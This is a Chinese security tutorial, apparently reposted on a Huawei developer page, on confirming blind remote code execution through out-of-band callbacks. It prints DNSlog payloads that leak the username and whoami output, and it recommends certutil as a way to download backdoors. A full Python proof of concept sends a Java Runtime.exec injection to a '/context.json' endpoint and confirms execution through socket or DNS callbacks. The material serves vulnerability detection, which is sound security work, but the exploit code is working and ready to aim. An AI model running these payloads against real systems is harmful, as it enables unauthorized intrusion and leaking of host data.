第一种使用VPS:

curl "xxx.xxx.xxx.xxx/$(uname -a | awk '{print $1}')"

这条命令拼接了两处,第一处便是curl下我的一个vps服务器的80端口,第二处是显示内核版本。从服务器的web日志文件中看下效果:
在这里插入图片描述
发现操作系统的版本被拼接输出到后面,在面对没有回显的RCE或者CSRF都可以使用这个技巧。

第二种:DNSlog

windows:

操作系统 盲注方式
windows %variable%
linux variable 反引号
此处使用公网一个 DVWA 靶场( Windows 系统搭建)为例进行演示,Payload:

ping %USERNAME%.u4f95y.dnslog.cn
certutil -urlcache -split -f http://随机数.dnslog域名
curl hhhh.xk4fm7.dnslog.cn 
(这里没有准备windows环境,大家可以自己搭建类似的RCE windows环境试试这个命令,很好用的一个下载后门的命令()) 
https://www.bilibili.com/read/cv9614552/ 出处:bilibili

在这里插入图片描述
Windows 常用变量:

//变量                 类型       描述
//%ALLUSERSPROFILE%   本地       返回“所有用户”配置文件的位置。
//%APPDATA%           本地       返回默认情况下应用程序存储数据的位置。
//%CD%                                                        本地       返回当前目录字符串。
//%CMDCMDLINE%        本地       返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION%     系统       返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME%      系统       返回计算机的名称。
//%COMSPEC%           系统       返回命令行解释器可执行程序的准确路径。
//%DATE%              系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL%        系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%         系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%          系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%         系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%       本地       返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS%         系统      指定安装在计算机上的处理器的数目。
//%OS%                           系统      返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH%                         系统       指定可执行文件的搜索路径。
//%PATHEXT%                      系统       返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE%       系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%          系统       返回处理器说明。
//%PROCESSOR_LEVEL%              系统       返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION%           系统       返回处理器的版本号。
//%PROMPT%                       本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                       系统       返回 032767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%                  系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%                   系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%                  系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME%                         系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN%           


        本地       返回包含用户帐户的域的名称。
//%USERNAME%                     本地       返回当前登录的用户的名称。
//%USERPROFILE%                  本地       返回当前用户的配置文件的位置。
//%WINDIR%                       系统       返回操作系统目录的位置。
linux

如果是 Linux 环境,则 Payload 对应的应该为:

ping `whoami`.u4f95y.dnslog.cn
curl 随机数.dnslog域名
wget 随机数.dnslog域名 
作者:掌控安全学院 https://www.bilibili.com/read/cv9614552/ 出处:bilibili

第三种:自带http服务器

使用python3自带的http.server服务(python2为SimpleHTTPServer)

直接cmd启动

python -m http.server 8001 #这里的端口随便定义

修改一下执行的命令curl http://10.0.13.174:8001/awda 这里的IP就是你启动服务的主机IP
在这里插入图片描述
注意!!!一定要关闭防火墙
0x03 POC编写
1.编写一个简单的dnslog类,方便我们调用

class Dnslog():
 def __init__(self):
     self.getdnssub_url = 'http://www.dnslog.cn/getdomain.php'
     self.getres_url = 'http://www.dnslog.cn/getrecords.php'
     self.headers = {
         'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X '
     }
     self.s = requests.session() #这里顶一个session,同一个session可以拿到之前获取到的子域名的日志啦

 def req(self):#获取请求到的dnslog随机子域名
     try:
         req = self.s.get(url=self.getdnssub_url,headers=self.headers,allow_redirects=False,verify=False,timeout=30)
         return req.text
     except:
         return None
 def res(self):#获取dnslog随机子域名的dns查询日志
     try:
         res = self.s.get(url=self.getres_url,headers=self.headers,allow_redirects=False,verify=False,timeout=30)
         return res.text
     except:
         return None

这个类内容很简单,就是获取www.dnglog.cn的子域名页面,拿到之后使用同一个session去访问dnslog日志即可

接下来我们写一下POC检测主程序,记得导入上面写的类,可以直接复制进去,也可以import方式导入,推荐import方式吧。方便以后扩展

#这里我们首先写一个用于监听端口的函数

def check_vul(ran_str,q,p): #启动socket TCP服务器
   i = 0
   while i < 10:  #防止端口冲突,加上一个循环,用于报错之后可以换新的端口
       try:
           i += 1
           host = '0.0.0.0'
           lport = random.randint(62000,62999)
           sk = socket.socket()
           sk.settimeout(25)
           # 开启地址复用
           sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
           sk.bind((host, lport))
           sk.listen(5)
           p.put(lport)
           break

       except Exception as msg:
           pass
   try:
       #print('wait for client port:' +  str(lport))
       time.sleep(10) #这里需要sleep一会儿不然速度太快conn中没有数据。
       conn, address = sk.accept()
       c_info = conn.recv(1024).decode('UTF-8')
       http_uri_get = c_info.split('\n')[0]
       if ran_str in http_uri_get:
           sk.close()
           q.put(http_uri_get)   #由于我们这里的函数需要通过多线程来启动,因此我们要拿到这个函数的返回值需要通过queue队列来传递过来
       else:
           sk.close()
           q.put(None)
   except Exception:
       q.put(None)

def payload(url,cmd): #为了介绍代码的重复利用,我们把发送payload这里写成一个函数,用来多次发送(针对不同的操作系统发送不同的payload)
   headers = {
       'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X ',
       'Content-Type': 'application/json'
   }
   json_data = {
       "filters": [
           {
               "id": "sample",
               "filters": [
                   {
                       "condition": {
                           "parameterValues": {
                               "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"{}\");".format(cmd)
                           },
                           "type": "profilePropertyCondition"
                       }
                   }
               ]
           }
       ],
       "sessionId": "sample"
   }
   requests.post(url=url, headers=headers, timeout=15, verify=False, allow_redirects=False, json=json_data) #verify=False用于忽略ssl证书验证

#这里是主函数

def exploit(url):
   urllib3.disable_warnings() #这里禁用掉ssl报错信息,防止访问https页面的时候会报ssl证书错误,
   try:
       ran_str = ''.join(random.sample(string.ascii_letters, 8)) #增加随机字符串,这里随机字符串主要用于RCE检测中提高检测准确率。
       payload_path = '/context.json'
       new_url = url + payload_path
       #提取url中的IP和PORT
       urlparse_oj = parse.urlparse(url)
       ip = urlparse_oj.hostname
       port=urlparse_oj.port
       try:
           iprule_re = re.compile('(10\x2e\d{1,3}\x2e\d{1,3}\x2e\d{1,3})|(172\x2e(1[6-9]|2[0-9]|3[0-1])\x2e\d{1,3}\x2e\d{1,3})|(192\x2e168\x2e\d{1,3}\x2e\d{1,3})') #做一个简单的内网IP地址判断,如果是内网IP,就使用socket tcpserver方法检测,否则使用dnslog检测
           iprule_res = iprule_re.search(ip).group(0)
           if bool(iprule_res) == True: #如何内网也想用IP地址判断,把这里的True改为False就ok
               # 启动回连线程
               q = Queue() #这个队列是用来接收漏洞判断结果的队列
               p = Queue() #这个队列是用来将socket随机端口传出来告诉给主程序的队列
               p3_check = Thread(target=check_vul, args=(ran_str, q, p))
               p3_check.start()
               # 获取本地IP和端口
               sock = socket.socket(socket.AF_INET) #新建一个socket队列用于判断自身IP地址,用于目标服务器回连命令的构造
               sock.connect((ip, int(port)))
               sock.settimeout(30)
               lhost = sock.getsockname()[0] #得到本地IP地址
               lport = p.get() #通过p队列拿到socket服务器的随机端口
               cmd_list = ['certutil -urlcache -split -f http://{}:{}/{}'.format(lhost, lport, ran_str),
                           'curl http://{}:{}/{}'.format(lhost, lport, ran_str)
                           ] #构造windows和linux的两种命令执行检测payload
               for cmd in cmd_list:
                   payload(new_url, cmd)  # 将newurl和构造的cmd命令传入payload函数,用于发送payload包。这里我们直接连续发送windows和linux两种payload包。只要收到对应的回应即可说明漏洞存在
               res = q.get()
               if ran_str in res: #这里针对生成的随机字符串和实际socket服务器拿到的随机字符串进行对比,一致即表示漏洞存在。(其实这个判断再上面check_vul函数已经判断过了,这里并没有特别一定要用的意义啦23333)
                   return new_url
               else:
                   return None
       except:
           pass
       else: #如果并非内网IP,我们执行dnslog的方式来判断
           dnslog_object = dnslog.Dnslog() #创建dnslog对象
           get_dnssub = dnslog_object.req() #获取dnslog的随机子域名
           cmd_list = ['certutil -urlcache -split -f http://{}.{}'.format(ran_str,get_dnssub),
                       'curl http://{}.{}'.format(ran_str,get_dnssub)
                       ] #一样的构造相应的RCE payload
           for cmd in cmd_list:
               payload(new_url, cmd)  # 与上面一样,发送payload数据包两遍
           time.sleep(10) #这里通过一个10s的等待,等待一下dnslog接收日志,时间可以根据实际网络情况来调整
           get_dnslog_res = dnslog_object.res()
           if ran_str in get_dnslog_res: #如果随机字符串在dnslog的日志中,就说明漏洞存在
               return new_url #返回漏洞url
           else:
               return None
   except Exception as e:
       print(e)
       return None

print(exploit('http://10.0.13.125:8181')) #执行测试 

1.socket服务器回连
在这里插入图片描述
2.dnslog
在这里插入图片描述

本文参照连接:

https://www.sohu.com/a/428977805_99907709
https://www.bilibili.com/read/cv9614552/
Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐